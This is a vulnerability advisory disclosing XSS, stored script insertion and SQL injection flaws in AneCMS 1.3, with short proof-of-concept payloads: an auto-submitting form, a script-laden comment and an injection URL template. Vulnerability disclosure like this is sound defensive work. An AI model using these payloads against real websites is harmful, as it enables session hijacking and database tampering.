Total Tests:

Multiple Vulnerabilities in AneCMS

Advisory ID:HTB22406
Product:AneCMS
Vendor:AneCMS Team
Vulnerable Versions:1.3 and probably prior
Tested Version:1.3
Advisory Publication:May 28, 2010 [without technical details]
Vendor Notification:May 28, 2010
Public Disclosure:June 11, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Scripting [CWE-79]
SQL Injection [CWE-89]
CVE References:CVE-2010-2437
CVE-2010-2436
Risk Level:High
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
5 (AV:N/AC:L/Au:N/C:N/I:P/A:N)
7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered three vulnerabilities in AneCMS which could be exploited to perform cross-site scripting and script insertion attacks and execute arbitrary SQL commands in application`s database.

1) Cross-site scripting (XSS) vulnerability in AneCMS
The vulnerability exists due to input sanitation error in the "descr" parameter in acp/pages/cfg.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://demo.anecms.com/acp/?p=cfg&m=smod" method="post" name="main" >
<input type="hidden" name="title" value="ANE CMS" />
<input type="hidden" name="descr" value='A New Era of CMS DEMO "><script>alert(document.cookie)</script>' />
<input type="hidden" name="language" value="it" />
<input type="hidden" name="url_base" value="http://demo.anecms.com/" />
</form>
<script>
document.main.submit();
</script>


2) Script insertion vulnerability in AneCMS: CVE-2010-2437
Input passed to the "comment" field is not properly sanitized before being stored in modules/blog/index.php. A remote attacker can insert arbitrary HTML and script code, which will be executed in user`s browser in context of the vulnerable website when user views the malicious data.
Exploitation example:
To exploit this vulnerability fill in the comment field with the following text:
hello <script>alert(document.cookie)</script>

3) SQL injection vulnerability in AneCMS: CVE-2010-2436
The vulnerability exists due to input sanitation error in URL in the modules/blog/index.php script. A remote attacker can send a specially crafted HTTP GET request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation example:
http://host/blog/1+ANY_SQL_CODE_HERE/Demo_of_ANE_CMS#comment-63

How to Detect Cross-Site Scripting Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HT22406 - https://www.immuniweb.com/advisory/HTB22406 - Multiple Vulnerabilities in AneCMS
[2] AneCMS - anecms.com – AneCMS is a content management system written in PHP.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a technical question?

Our security experts will answer within
one business day. No obligations.

Have a sales question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
Your data will stay private and confidential